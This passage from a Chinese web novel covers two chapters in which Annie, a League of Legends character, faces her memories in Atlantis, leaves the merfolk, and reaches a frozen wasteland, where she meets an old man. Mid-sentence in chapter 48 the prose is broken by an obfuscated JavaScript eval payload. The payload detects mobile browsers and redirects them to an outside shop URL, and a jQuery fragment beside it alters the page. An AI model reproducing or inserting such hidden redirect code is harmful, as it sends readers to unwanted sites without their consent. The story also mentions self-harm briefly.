安妮不知道,但她被无数泡沫围绕着,每一次炸开,都是深藏在心底的记忆。 暗夜里的伤口被揭开,鲜血又被感动的瞬间凝固。庞大的记忆潮水般汹涌而至,却都是她的过往。 逃离……安妮只想逃离。 她想哭,但她感觉不到眼泪的存在。她渺小得像颗尘埃……不,就是尘埃…… 无论是在这里,还是在过去,或者是……未来。 所有经历一遍遍被回顾、审视,那些自己看来的刻骨铭心原来太多太多。安妮好像变成了一个局外人,看着一个普通小女孩越长越高。 凯德阿姨温柔的声音开始回响,接着暴雨冲刷,阿狸姐姐笑着打招呼,阿若盖特和猴子拌嘴……菲缇老师还在一遍遍地强调着坚持。 在学院的日子有多迷茫,安妮终于感觉到了。 原来如此。 原来是同样的,这种无能为力的感觉。 就好像所有的一切早已在命运齿轮的滚动下注定,她只是一个提线木偶,麻木地做着一切。没有人关心她脑海里有多么伟大的想法,因为她只能表演出剧本。 而此时她连木偶的身体都没有。 空茫的感觉达到顶峰,似乎只有闭眼可以终止混乱的思绪。 安妮在静谧的海水里放松下去,却仍旧瞪大了双眼。她其实很想沉睡的,睡过去了,就什么都不用管了。这片海也是这样告诉她的,放下所有,就不会悲伤了。 但那么多在庞大的时间和空间看来毫无价值的东西,于她而言却有非凡的意义啊。 …… 不知道过了多久,安妮感觉自己的思维好像都要停滞了。但忽然,一道海蓝色的微光闪过。 复杂的记忆忽然变得清晰起来。 48. 48 “凯德阿姨,每个人都会有梦想吗?” 年幼的小女孩撑着下巴,那双秀气的腿竖在床上来回摇晃。 她听了一个故事,坚持梦想的骑士打败恶龙,救下了公主。 “当然了,你以后也会有的。” 温柔的凯德阿姨摸了摸小女孩的脑袋。 “那你也有梦想吗?” “我的梦想就是你们可以健健康康,快快乐乐地长大。” “不对,这不是梦想。”小女孩打断凯德的话,那双眼睛澄澈见底,“梦想应该是自己的,怎么会和别人有关系呢?” 凯德有些怔愣,这次轮到她请教了:“为什么梦想不能是为了别人呢?骑士的梦想不是守护公主吗?” “骑士的梦想是守护自己喜欢的东西,只是这个骑士刚好喜欢公主而已。” 这次,凯德直接顿住了。 她想的反驳话语似乎已经无法说出口。 “凯德阿姨,你没有梦想,对吗?” 小女孩的问话和思考总是让凯德感到意外,这样直白得有些扎心的问题刺得凯德无处躲藏。 “以前是有的。” “那你现在过得一定不快乐。” “嗯?为什么?” “因为你不是没有梦想,而是失去了梦想。” 小女孩说着,直起身踩在床上,摸了摸凯德的头——像一个小大人。 凯德无奈地笑了笑。 “你是为了我们失去梦想的吗?” “当然不是……没有人会因为任何其他因素失去梦想。” 大概是为了让女孩不自责,或者说,这本就是真相? 凯德已经不知道了。 那一晚,女孩第一次在心中埋下了梦想的种子,然后毫不犹豫地把它拔掉。 因为她说自己很满足现在的生活,再没有任何多余的追求。 …… “妈妈,再种几朵紫色的花好不好嘛?” 女孩拉着弗洛,眼含乞求。 “妈妈还有别的事情要做……” 弗洛叹了口气,篮子里的花跟着晃了晃脑袋。 她们在装饰帐篷外围,这是两人难得的相处时光。但很可惜,弗洛只是争分夺秒埋头苦干,企图早点做完。 “是为了梦想,对吗?” “嗯?” 弗洛有些惊讶。 “族人们都说了,爸爸妈妈的梦想很伟大,伟大到,我不应该随意打扰。” 弗洛缩了缩手指,低下头。 “梦想哪有什么伟大渺小的,只是我们的比较难以完成罢了。” “那被抛弃的孩子们只想找到自己的父母,好多被收留的人只希望可以赚点钱有自己的家,这些梦想难道也很伟大吗?” “不伟大,但那也不是梦想,那是愿望。” “那梦想是什么?像爸爸妈妈一样需要早出晚归,节假日都停不下来的工作吗?” “不是……安妮,对不起,我们不能像凯德那样陪着你……” “不,妈妈不用给我道歉,你在追求自己的梦想,当然不能因为其他人放弃。” 女孩一本正经,让弗洛随时都清醒地认知着,她不是普通的孩子。 “我……” “剩下的花我可以自己种,妈妈你去完成自己的梦想吧。” 女孩微微一笑,体贴地拿过花篮,好像也拿走了自己的依赖。 每个人都有自己的梦想,她以后也会因为自己的梦想离开妈妈的。 是的,离开了…… …… “我曾经以为,梦想都是美好的,都是人们为了追求更幸福的生活,给自己定下的目标。” 少女仰望着星空,湛蓝的湖水倒映出瘦削的身影。 “后来你发现,梦想也可以是垂死挣扎。” 女人接过少女的话茬。 看着身边永远淡然的老师,少女忽然有些羡慕,羡慕她的波澜不惊。 “不管梦想是什么样的,坚持最重要。” 女人的声音在夜里很轻,轻得在少女心中划过层层涟漪。 这是她多少次听到“坚持”这个词了? 是啊,一谈到梦想,谁不知道坚持? 就好像谈到梦想,他们马上能说出自己遥不可及的目标一样。 坚持……呵,坚持…… 模糊的视线里,那颗星星越来越耀眼,好像变成了那个远在天际的目标。手背上,是温热的液体,被风吹凉。 “我曾经也有梦想……谁没有梦想过成为拯救世界的英雄呢……” 老人轻声喃喃,给冰冷的空气增添了温度。 她已经分不清加丁是在撒谎,还是分享,但关于梦想的讨论在脑海里一遍遍回荡着…… 原来不知不觉间,她已经和这么多人谈论过梦想。 失重感再次传来,安妮终于感觉自己好像和少女重合。但是前方,还有巫阿婆,还有金克丝,还有基兰,还有那个随处可见的青色身影…… “梦想?那是我们已经失去的东西。” “梦想?我相信那是我即将完成的东西。” “梦想?你会体会到的。” 她可能体会到了。 那是一种遥不可及的力量。 水,蓝色,看起来好像和它毫无关联。但安妮却觉得,自己好像终于触手可及。 在一片压力中,身不由己,却永远看着前方、远处的那个泡沫。拼尽全力前进,可能得到的结果反而是后退,但永不放弃。 冰冷的,催人清醒的。 海水环绕着自己,梦境版的回忆褪去让人迷乱的外衣。前方的那个泡沫的光亮甚至不如海星,但它永不消失,永远存在。 安妮忽然觉得心中一片火热。她深吸一口气,颤抖着松软的四肢,死死盯住前方。一种巨大的莫名的喜悦冲上脸颊,让脑袋一轻。 眩晕。 她只是窜了起来而已。 这是哪儿? 安妮环顾四周,人鱼雕像格外醒目。她缓慢地抬头,终于和女神像温柔的目光相撞。有那么一刻,她好像正慈爱地看着自己。 神像的头顶忽然出现一团蓝色的光,和安妮记忆中的泡沫那么像。 她的身边再没有任何压力,甚至可以瞬间一跃而起。但是安妮没有上前,她仍然漂浮着,甚至沉下来。那光团还在静静等待着,似乎在等待谁的到来。 一种温柔却坚韧的力量在她心中绽放,那熟悉的感觉让安妮颤抖了指尖。 “谢谢。” 安妮莞尔,那滴在记忆中被凝固的泪水,终于悄无声息地出现,和亚特兰蒂斯融为一体。 光团终于消散。 安妮还无法从复杂的情绪中抽身,坐在女神像脚下,没有任何动作。她静静仰望着天空,虽然知道泪水不会被任何人看见,但还是保持着四十五度角。 没有星星,甚至没有夜幕,没有时间…… 当初自己多少次这样迷茫地抬头,然后看到了自以为的梦想。 一直发呆到身体传来饥饿感,安妮才缓慢站起。回忆还在脑海里翻涌,安妮只能尽量把一切压下。 她再次凝望女神像,忽然低头寻找。 捡了一块石头。 也不知道欧提特认不认识自己现在学习的文字……安妮想了想,在沙子上画了画,回忆圣语。 她现在算什么身份呢…… 外来者?是,但她希望不是。 光明学院的学生?她死亡的那一刻就不是了。 黑暗的代表?她没有资格。 至于光明……那就更可笑了。 安妮忽然发现,自己好像没有任何头衔。她只能在珊瑚的前方留下四五个字的位置。 “________安妮在此立誓,守护亚特兰蒂斯直到生命终点。” 只希望她的字能保留得久一点。 安妮放下石头,朝着女神像感激一拜,然后循着记忆离开。这一次,又迎面撞上了欧提特。 安妮有些心虚,不过欧提特并没有去查看女神像的意思。 “你已经两个多月没吃东西了,不饿吗?” “这么久?” 安妮有些惊讶,查看了手上的印记,时间真的已经过去三个多月。 “喏,女王说你要是想走了随时告诉她。” 欧提特说完递给安妮一颗灵珠。 “谢谢……” 安妮吞掉珠子,冰凉的触感却让她感觉到一丝温暖。原来,世界上还有比亚特兰蒂斯更冷的海水。 “欧提特,那个……” “怎么了?” “我还想在这里待一个月。” 也许没有一个月了,但安妮还是想等到最后的期限。 “随便你,我们又没赶你走。” 欧提特这次是真的没有排斥了。安妮感激一笑,找了找方向,朝记忆中比格毛丝所在的边缘游去。 她有点记不住路了。 “喂!” “?”安妮回头,小鱼人抱着三叉戟,眼神飘忽,“记得和女王告别。” “好。” 安妮再次转身,不让欧提特感到尴尬。 两个月的时间,她的作品应该已经被发现完了。安妮琢磨着剩下的时光应该如何度过,忽然看见自己身边最高的珊瑚缝隙里有张熟悉的纸。 她明明没放什么在这里呀。 安妮好奇地把纸拿出来,展开,里面是一幅画。鲛人幼崽一起玩着石子,五彩斑斓的小石头被摆成海星的模样。 这不是她画的…… 安妮忽然感到一阵温暖。 她小心翼翼地把图画收好。穆迪的房门关着,她直接敲了敲。 “安妮?我还以为你离开了!” 穆迪有些惊喜,她没想到时隔两个月,自己还能看到这个新朋友。 安妮看见穆迪手上沾着些颜料。 “现在大家都在画画,这还要感谢你。” 穆迪眨眨眼睛,把小孩子们自发组织,感染了大家的事洋洋洒洒说了遍,讲到自己的领头作用时不无骄傲。 “这下我可不只是派对女王了。” “哈哈,是的。” 安妮没想到自己一个小小的举动也能带来这么大的改变。 “现在最需要你关心的,大概就是女王了。” “女王?” 说起来,她已经好久没有见到伊卡思了。想到欧提特之前支支吾吾的模样,安妮忽然明白了她的良苦用心。 伊卡思应该是很孤独的吧,除了欧提特和她是朋友,她必须端起架子,担起责任,守护亚特兰蒂斯。那些人对她恭恭敬敬,但这样的依赖和信任何尝不是无形的负担。 “我想我知道了……” 安妮嘟囔一句,穆迪没有听清楚。 她继续沉迷创作去了,安妮也不打扰,见比格毛丝睡醒,便拉着他要出远门。 比格毛丝的生活其实也很单调,除了到处散步,就是和穆迪聊天,或者睡觉。据穆迪说,比格毛丝其实精力很旺盛,但也很能克制自己。 这个憨憨的大块头在安妮到来的第一个月是最活跃的。 “比格毛丝还以为安妮悄悄地走了。” “不会的,我要离开也会告诉你的。” 安妮始终觉得那两个月度过得太奇妙,自己一点感觉也没有,但朋友们肯定是很担心的。 “比格毛丝,你知道哪里有比较坚韧的植物吗?细长细长可以编织的那种。” “比格毛丝知道,比格毛丝最了解亚特兰蒂斯了。” 比格毛丝说完,开足马力,目标明确。他是万千人鱼集合而成的灵,有记忆也很正常。 过了一会儿,比格毛丝张开了嘴。 这是安妮第一次觉得海底其实也很明亮。 五颜六色的贝壳海星堆放在地上,亮光来自珊瑚和珍珠。还有一些鱼的骨骸,非常完整,以及各种安妮叫不出名字的植物,一堆堆码在宝箱上。 安妮觉得自己应当是听说过这种宝箱的:有人说,拉缇作为海盗头子,最喜欢这种紫檀木做的大宝箱,里面存放的基本都是绝世珍宝,没有金币占地方。 而此时那个珍宝已经不见,大概在比格毛丝眼中,它还没有自己找来的动植物好看。 “这是比格毛丝的收藏,安妮想要什么?” “唔……就拿点这种海草吧,比格毛丝你的箱子在哪里找的?” “一艘沉船,和比格毛丝一样大。” “我可以去看看吗?” “当然可以。” 安妮再次坐上顺风车,仅仅一会儿,比格毛丝就到了目的地。安妮游出去,看到那艘所谓沉船的时候,竟然有一瞬间觉得也不过如此。 不够大。 主要是船体已经完全破损,都看不出原来的模样了。 但是自己可渺小得很…… “比格毛丝,稍等一下,我找点工具。” 要是有绳索什么的就好了,但亚特兰蒂斯的海水腐蚀性强,不知道还有没有剩。 事实证明她不能小瞧时间的力量,外壳都没有了的沉船还能剩下个箱子都已经是万幸了。 “算了,我们回去吧。” 找了一圈,也就只有两种材料比较坚韧了。忽然,安妮想到了自己的衣服。 她怎么把这种植物给忘了! 安妮按捺住心中的激动,先把现有的材料搓干净,然后开始设计。 她想折点东西送给伊卡思。虽然不知道她还记不记得,或者说见没见过陆地上的生物,但手工永远是送给朋友最好的礼物。 她坐在比格毛丝的嘴里,这个空旷的“房间”虽然很大,但安妮十分满足。 一边做事还能一边和比格毛丝聊天。 “安妮消失那么久,是找到‘梦想本源’了吗?” “找到了。” “太好了,比格毛丝真开心。” “找到了,但是没有收服。” “嗯?为什么?欧提特说找到本源之后,要收服是很简单的。” “因为……我不适合它。” 确实,找到本源的人很多,甚至有的人一出生就带着自己的本源。但本源有很多种类型,并不是找到了,拥有了,就可以发挥出它的力量的。 就像她找到了“生命本源”,但是也毫不犹豫地选择了放弃一样。 是因为没有梦想吗? 安妮以前可以很肯定地否认,但现在忽然不确定了,因为她发现那似乎不是梦想。那是愿望。 “安妮既然不想要‘梦想本源’,那是不是要离开了?” 比格毛丝的情绪有些低落。 “是,但是我会待到最后一刻的。” “安妮不用舍不得,寻找本源才是最重要的。” 安妮手上的动作停了停。是舍不得吗?舍不得小小妮小小木,舍不得伊卡思欧提特,舍不得树爷爷和比格毛丝? 她没有接话。 比格毛丝于是和安妮安安静静待了两天。他们一起到处找植物,做手工,但安妮每次都以失败告终。这些植物抗腐蚀,但是太软了,支架皮毛撑不起来。 但她也熟悉了流程。 “比格毛丝,我今天要去找欧提特,你别忘了我们的约定!” 能找的植物安妮都找遍了,于是让比格毛丝巡逻的时候帮她留意。 “比格毛丝不会忘记的,安妮再见。” 安妮拿着自己的半成品和一堆材料前往水晶宫,路上遇到了一些熟悉的人,他们都热情地打着招呼。 安妮没想到自己初来乍到,也会被这么多人记住,有些受宠若惊。 她没有打算直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119516|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接去找伊卡思,而是问侍卫欧提特在哪儿。等了一会儿,终于在水晶宫的必经之路上拦截到了她。 “你找我?” 欧提特显然很惊讶。 “是,我来找你问点东西。” 安妮说着,想去经常说秘密的女神像,但她忽然想到了自己的字。 “走吧,现在知道犹豫了?我都看见了。” 欧提特神情温和,让安妮更加确信她就是面冷心热——和阿若盖特不太一样的那种。 “说吧,找我干什么?” 欧提特看着安妮手上绿油油的东西,一路上还是猜不到。 “我想拿点比较坚韧的绳子和布料。你看,这是我研究的手工动物,只是脖子四肢撑不起来,身体也瘪瘪的,需要坚硬点的外壳固定形状。” 安妮把自己做的小狗、蜻蜓等展示出来,欧提特嫌弃地拎起软趴趴的狗脑袋。 “知道了,我去拿,等着。” 她说完朝着一个陌生的方向走去,不一会儿就抱着一大堆东西来了。 安妮赶忙摆手。 “其实不用这么多的!” “我难道不需要吗?” “啊?”安妮瞪大眼睛,欧提特果然被她看得偏过头,傲娇冷哼,“身为亚特兰蒂斯的守护者,技多不压身。” 扑哧…… 安妮在心里偷笑了一下,但还是拿起布料开始做。她没有出声,只是放慢了动作,复杂的地方多重复几遍。 欧提特就在一旁看着,失败了就换另一个半成品,扔起安妮的东西来倒是毫不手软。 幸亏安妮害怕失败,准备的东西比较多。 埋头苦干了不知道多久,安妮揉了揉自己的脖子,拿起做好的小狗端详。 不错!很完美! 她偷眼瞥了下欧提特的进度,小鱼人从来没做过这么复杂的手工,卡在支架那里冥思苦想。 “支架做好了要反复挤压连接的地方,皮毛压上去不能太用力,速度要快,海藻胶水容易干。” “知道了。” 欧提特抱着支架转身,不想给安妮看见自己犯难的窘态。 安妮无奈笑了笑,趁这段时间,刚好可以先研究一下蜻蜓。她想了想,把第一个制作完好的小狗悄悄放在了自己的“誓言之石”后面。 镌刻的字竟然还在…… 等到两人都完成,安妮已经做得腰酸背疼了。但她看着女神像周围的手工满足地笑了笑。 欧提特也不甘示弱,把自己的成品放了上去,虽然细节处有些粗糙,但很用心。做完之后再做第二个就简单了,两人很快拿着自己最得意的礼物朝水晶宫赶去。 “这是你们做的?”伊卡思看着手工品惊喜地笑了笑,“我说之前问侍卫你们去哪了,他说保密,原来有惊喜呀。” 人鱼女王戳着小狗的鼻子,眼神亮晶晶的。 “我们做了好久呢,我一学就会了,厉害吧。这个蜻蜓就是我做的。” 欧提特一副求表扬的神情,安妮都不想拆穿她这前后矛盾的话。 伊卡思显然也很配合,把欧提特的蜻蜓夸赞得世间仅有。 “我要好好收藏起来。” “我们明天还有!” “真的吗?” 看见伊卡思的笑容,安妮扶额。欧提特真是藏不住事,说出来还叫惊喜吗?而且半成品都用完了,这家伙难不成想借花献佛? “安妮,咱们明天和女王一起做这些吧。” 原来她是这样想的? “好,那我去准备准备材料?” “不着急,先坐坐吧,这是什么狗,我好像都没见过呢……” 原来女王真的快忘记了……安妮感到一阵心酸,接着开始介绍。那些平平无奇的经历在另一个人听来,却是无比新奇的体验。 一直聊到晚上的钟声响起,安妮依依不舍地告别,然后去准备第二天的手工材料。 欧提特不是说她天赋异禀吗?她这次不做半成品,直接拿原材料。想到欧提特在伊卡思面前逞强嘴硬的画面,安妮更开心了。 作为补偿,就送她一份礼物好了…… 欧提特难得转变态度,和安妮也算半个朋友了。其中自然少不了伊卡思的帮助,总之这一个月安妮过得很开心。 印记上的时间永远是最清晰的,看着倒计时,安妮竟然有些不舍。 伊卡思一向善解人意,也很细心。在安妮仅剩一天的时候,她就大大方方问了出来,并且希望那一天安妮能和她们一起度过。 安妮答应了,她本来也有点东西想送给欧提特。 拿起手里的书,安妮叹了口气。昨天她就绘完了最后一页,但仍然喜欢没事就翻一翻。总觉得还差很多东西,但也来不及了。 那是她留给欧提特的手工图册,里面详细描述了各种动物的肢体部分怎么做,全都是分解步骤,最后能组合出很多奇特的东西——怪物都可以。 安妮虽然画了自己脑海里能回忆到的所有动物,但还是觉得不够。 “比格毛丝,我们走吧。” “比格毛丝终于可以见到伊卡思女王了。” 比格毛丝的话仍旧很平静,但是安妮听出了期待。她坐在比格毛丝的灯笼球上带路,由于体型庞大,他只能在上空游。 让安妮意外的是,除了穆迪举着精心绘制的牌子欢送她,街道上的鲛人都自发出来,挥舞着手里的东西。 有丝带,有彩球,甚至还有画。小朋友们摆的爱心在上空能看得很清楚,他们的笑脸也很清晰。 没有声音,亚特兰蒂斯今天宁静得热闹非凡。 安妮悄悄举起手,左右晃动,这是最原始的告别方式,他们一定知道。 到达水晶宫,这里仍然没有多少变化,但安妮踏入宫门的那一刻,还是感觉到了细节的装饰——她可是在这里待了几十天。 “希望你能原谅我的自作主张,他们都很舍不得你。” “当然不会,我也很舍不得你们。” 安妮知道伊卡思说的是那些热情的鲛人们。 她今天特意换上了一身华丽的服饰,长长的丝带拖到身后,水袖轻轻荡漾,手臂上还戴着玉白的手镯。 欧提特也一身正装,只是不改昂首的模样。 这应该是亚特兰蒂斯的礼节吧。 “这是我们留给你的灵珠,一共四颗,应该足够你寻找到本源。这是大家一起设计编织的衣服,也许无法完全抵挡极寒冰原的暴风,但一定能保证你的安全。” “谢谢……” 安妮没想到伊卡思做得这么周到,她只是提了提自己下一个目标地点而已。 “那么,我们一起去找比格毛丝告别吧。” 伊卡思带头,欧提特和安妮并肩走着。她还是不高兴的样子,小声和安妮拌嘴。 比格毛丝停在水晶宫门外,像一艘古老的船。 “伊卡思女王,比格毛丝好想你……” “我也想你。”伊卡思友好地轻抚比格毛丝。 “安妮,再见,祝你好运。比格毛丝会想你的。” “我也会想你们的。”安妮说完贴近欧提特小声嘱咐,“我有东西给你,就在比格毛丝嘴里。” 她说完,不等看清欧提特的表情,就和大家郑重告别,然后前往女神像。 那是外来者的最高待遇——在女神像的护送下离开,代表他是亚特兰蒂斯的客人,如今是被大家欢送走的。 安妮走到女神像前,之前制作的手工已经不见。伊卡思。欧提特和比格毛丝都在远处停下了脚步,她看见穆迪在后面悄悄摇了摇牌子。 “再见……” 安妮拿着衣服和灵珠,做出向欧提特学来的人鱼族语言的告别口型。 这一次,挥手的换成了她们。 安妮微微一笑,印记闪烁,她再一次踏上新的征程。 49. 49 安妮这次睁眼,正站在冰与土的交界处。一边是刺骨的寒风,一边是温暖的阳光,几乎要把她劈成两半。 不,是三瓣,还有一份升上了天空。 太久没有看见这样浓烈的色彩,安妮的脑子有点转不过来。 亚特兰蒂斯里的一切好像化为了泡沫,但明明上一秒自己还被冰凉的海水包围着。此刻,丝丝暖意传来,但只有一半。 那风还真是寒冷……即使在边缘,即使之前泡在亚特兰蒂斯,也能感觉到这致命的寒意。 安妮赶紧把衣服展开,还找到了配套的鞋袜围巾和手套。她吞下一颗灵珠,冰冷的触感刺激得她一个哆嗦,鼻头随即一酸。 不能往外走,她怕自己直接逃离。 之前的传送都是直抵目标,但这次竟然在极寒冰原的边缘……安妮不知道是基兰爷爷的有意安排,还是这个传送阵法只能达到边缘。 总之,先想办法进入中心吧…… 穿上衣服之后,安妮试了试温度,果然不再寒冷。 她于是顶着冷风开始往里前进。 极寒冰原里没有方向,一进去,安妮就看到了茫茫无际的雪地。明明身后就是出路,但她总感觉已经置身冰原中心。 好在金克丝教的赶路技巧安妮还没忘,不会出现走圆圈的情况。 但即使如此,安妮还是感觉很疲惫。极寒冰原的风就像一堵排外的围墙,无论她往哪边走,都能感觉到迎面而来阻止她前进的飓风,除了回去的路。 她以为自己只是误打误撞进了什么顶风口,但走了一个小时,还是这样。 安妮试图抬头分辨一下,但还是什么也看不到。刘海被吹得贴在头顶,长发凌乱飞舞,像鞭子一样抽打在脸上。安妮抬手,一边拽着头发,一边挡住企图飞进眼睛的雪。 这样孤寒的地方,一个人慢慢前进着,实在是困难。 安妮像一个佝偻着脊背的老人,深一脚浅一脚地踩在雪里。这雪的厚度也渐渐变小了,底部都是更加坚硬刺骨的冰块。 好在这片冰原看似平整,地貌却崎岖,安妮可以找到一些遮挡的地方。她看见大石头,心中便欣喜一下,然后再机械地向前。 就这样漫无目的,安妮感觉脑子里只有赶路的念头了。 她也不知道自己又走了多久,无尽的暴风雪中,黑暗都是那么不显眼。只是有些许疲惫…… 她于是想找个山洞歇一歇,但是她低估了极寒冰原的破坏能力。 怕是找到了山洞,她也不敢进去。谁能保证洞口不会被风雪堵住?或者因为承受不住积雪坍塌? 安妮头一次产生了回头的想法,只是去带一点有利于前进的东西,应该不算逃避吧? 但是极寒冰原附近也没有人烟。 她的脑子已经快被冻僵了,但是思绪仍旧很活跃。 就在安妮躲在大石头后面纠结时,她忽然看到了一个模糊的身影——紫色的,蜷缩在不远处,黑漆漆一团。 那石头的颜色差点和它融为一体。 那是什么?安妮还是决定去看一看。 她顶着风雪往旁边的石头赶,还是被吹歪了。艰难走到那一坨物体身边,安妮惊讶地发现这是一个老人。 一个和巫阿婆的装扮很像的老人。 说像,只是气质像。白色胡须里结满冰渣,全身上下裹得严严实实,他的脸蛋和鼻子通红,看上去好像还没死。 仅此而已。 这种恶劣的环境,她自身难保,怎么可能还带一个老人? 但安妮犹豫了一下,还是喊了喊他。 捂着嘴,很大声,因为只有这样雪才不会飞进嗓子,他也才能听得见。 “喂,你还活着吗?” 安妮凑在老人戴着帽子的耳朵边大吼,顺便使劲摇晃他的肩膀。老人终于缓缓睁开眼睛,看向安妮。 他的眼珠很明亮,紫色的,看起来诡秘妖异。安妮不动声色地缩了缩手指。 她想起了菲缇,不,是莫斯卡。 心脏狠狠揪了一下,好在安妮已经学会了隐藏自己的情绪。她大声问:“你怎么会在这里?” “我……我来找‘幽冥寒焰’。” ‘幽冥寒焰’? 似乎是神器。树爷爷之前说过,神器也有天然人工和前后强弱之分,幽冥寒焰是天然的和“源”同级别的神器,与伊娃自己练成的灭世者的死亡之帽相比,有过之而无不及。 当然,与之相匹配的是它的神秘莫测,至今还没有任何人得到过它,或者说……知道它在哪的人都屈指可数。 加丁或许是想过来这里的,毕竟极寒冰原的冷不正常,还不受板块变化的影响。但他得到了那么多,更加害怕失去,应该不会来这里。 只有孤注一掷的人,比如她。 还有……这个老人? “你也是来找‘幽冥寒焰’的?” “不是,我来找火系本源。” “火系本源在哪里不能找?你非要来这里?” 安妮顿了顿,她总不能说是基兰爷爷把自己传到这里来的。 “我师傅跟我说,火系本源在这里最容易被找到。” 老人眼珠子转了转,也没说信不信。既然他能孤身一人来找“幽冥寒焰”,那多半比她还厉害,安妮也就不管了。 “等等,你别走!” “怎么了?” “你这样乱找是找不到的。这样,你把我送到极寒冰原的冰洞,我教你一个寻找火系本源的方法。” “我凭什么相信你?” “我也不想行将就木了还在这里拼死拼活,我也是有苦衷的,想来你也是被逼得走投无路才来了这儿,咱们就不能同病相怜一下吗?” 老人的话很扎心,说得也情真意切,但安妮只想到了那两个欺骗自己的人。 每个人都觉得自己的经历是最悲惨的,但事实上,真正挣扎在最底层的生命甚至没有时间这样思考。 “你觉得可怜那是你,关我什么事。” 何况这老人眼神明亮,思路清晰,一看就不是弱鸡,还跟她装可怜。安妮想着就气。 她发泄地踩了两脚雪,还是收敛了自己的脾气。 在这里面浪费一点体力都是致命的。 “我有在这里生火的工具,可以在晚上取暖,我还知道极寒冰原哪里风力最小最好走,你真的不跟我一起吗?” 安妮犹豫了。 她倒是不缺食物,可是这里的晚上温度一定更低。书本里根本没有对冰原的描写,斩月山山顶的冰雪和这里也完全不一样,根本没有参考价值,她无头苍蝇一样乱撞肯定不行。 “你要我做什么?” “我腿脚不好,法力再强也很难到达中心。而且我制定的路上有一段攀岩的,绕过那里又更困难更危险,所以我想让你带我走。” 攀岩? 安妮没想到当初金克丝叫自己摘花的经历还能在这里派上用场。 只是这次可没人在上方拉着自己了。 “我答应你。” “那你快过来,天马上要黑了,我知道附近有个山洞。” 老人也不矫情,安妮一过去就拽住她的手臂。安妮只觉得本来沉重的身体就像背了个巨大的包袱,她调整了一下姿势。 “嗷,这样我不舒服……” “但是这样我们可以走得更远。” 安妮采用的是扛背包的姿势,老人会有点不舒服,但她才管不了那么多。 在极寒冰原冒险还想舒服。 “前面,左边,就那里就那里。” “那里什么也没有啊?” “你傻不傻,地面上的洞都会坍塌或者被堵上的,这个埋藏在地下还背风的才安全。” 原来这种地形代表下方有洞?安妮赶紧记下。 她想到了第一层,没想到第二层。 安妮带着老人走到大约五米内,才看见那洞口的入口,还是白茫茫的一片。她有些后怕:还好自己和老人结伴了,不然只要不路过,哪注意得到这洞口。 她为了节省体力,又怎么会往这种没有石头的地方走。 “你会不会法术?” “会,但是极寒冰原里面有禁制,法术用不了,你不知道吗?” “啊?” 安妮真的不知道。 见她一副懵懂的样子,老人恨铁不成钢。 “我怎么就和你结伴了?什么都不知道你也敢来这里。” “我看了书的,但是书上没写多少,而且好多还是猜测……” 老人摇摇头,就要走进去。 “等等,我去探探路。”安妮说完,拿起身后绑着的冰棍往里走,“你小声点,万一有熊和蛇什么的我喊你你就跑。” “你不让我先进去?” “你不是不会法术吗?” 安妮翻了个白眼,小声抱怨。 她警惕地迈着小碎步四处试探,没看见老人盛满笑意的紫色眼眸。 “没有动物,进来吧。”安妮说着把冰锥放在洞口,然后伸手搀扶老人下阶梯。 老人慢悠悠走进洞口,背对着安妮开始生火。 “咱们这火不会把洞融化了吧?” “这是冥火,能让人感到温暖,但是不会影响周围的环境,你看过书应该知道吧?” “知道一点。” 不过不是书上说的。 树爷爷说幽冥寒焰分为幽火和冥火,幽火只对环境有效,范围破坏力极强,冥火只对人有效,单体攻击无敌,因此幽冥寒焰才能成为和“源”并列的第一神器。 甚至,“源”还有天道的加成。 这老头连冥火都有,不简单啊。 “你这样看着我干嘛?” 老人坐在地上,姿态倒是挺端正。 安妮摇了摇头:“没什么。” 总觉得他和莫斯卡很像,但那人应该不会来这里。 “你不会是以为,我是什么来考验你的隐士高人,你通过了就有奖励吧?” 老人忽然戏谑一问,嘴上的胡子一抖一抖的。 安妮翻了个白眼,这次老人看见了。 她甚至懒得反驳。 “喂,你怎么不说话?我如果考验你的话,你这么不善良,肯定不及格!” “我哪里不善良了?” “你想把我老人家丢在冰天雪地里,你以为我不知道?” 安妮这次是真的无力吐槽了。他又有冥火又能抵御这暴风雪,怎么看都比自己厉害,还需要保护? “说话呀你,你怎么……” “能不能节省点力气,明天还要赶路。” “哦,你是担心这个呀。”老人了然一笑,还有些得意,“你知不知道为什么极寒冰原很少有人来,哪怕明确有神器存在?” “那不就是危险么?” “是,但你知道最危险的是什么吗?” 见老人废话连篇,就等着她表现出自己的无知与好奇,安妮立刻闭了嘴。她知道应付这种人,就不能让他如意。 果然,老人半天没等来安妮的问话,见她还闭上了眼睛,气得吹胡子瞪眼。 “我这是关心你你知不知道?极寒冰原的风雪越往里走越厉害,除了身体上的寒冷,还可以冻结思维。那些人都是自己前往,沉默、孤独配合入侵大脑的寒冷,可以把他们的求生意志全部消磨干净。” “到了内圈,哪怕有实力高强的人成功逃走了,也会感觉自己好像处在冰冷的世界里,与周围格格不入,感到迷茫、黑暗,置身事外,最后自残自杀!” 安妮惊住了。 她闭眼不是睡觉,相反,老人的话她听得很清楚。 曾几何时,自己也是这样…… 尤其是在光明学院那段时间,无数次,刀刃离动脉只差一毫米,后来的黑化甚至可以说救了她一命。 “怎么样,吓到了吧?所以和我说话是很重要的,每当你感觉目标遥不可及的时候,一定要给自己找点事做,找点东西思考。” 巫阿婆曾经也是这么说的。 安妮吐出一口浊气。 “谢谢。” 老人被她郑重的态度吓了一跳,但还是心情愉悦地接下了这句感谢。 “看你这样子,恐怕是没实力获得‘幽冥寒焰’了,什么都要我来点拨。” “我的目标也不是‘幽冥寒焰’,我真的是来找火系本源的。” 安妮担心老人把她当成潜在的竞争对手,赶紧解释。 “本源不是出生就有吗?哪里还需要找?难不成你对自己现在的能力不满意?” 安妮自嘲一笑:“说来话长,总之,我没有自己的本源。” 没有本源…… 安妮感觉老人的视线在自己身上逡巡,好像在看什么奇怪的东西。她已经习惯了这种目光,坦然道:“你不用看了,这样好啦,到了那个什么神器存在的倒数第二个分岔口,咱们就分道扬镳,你就不怕我跟你抢了。” 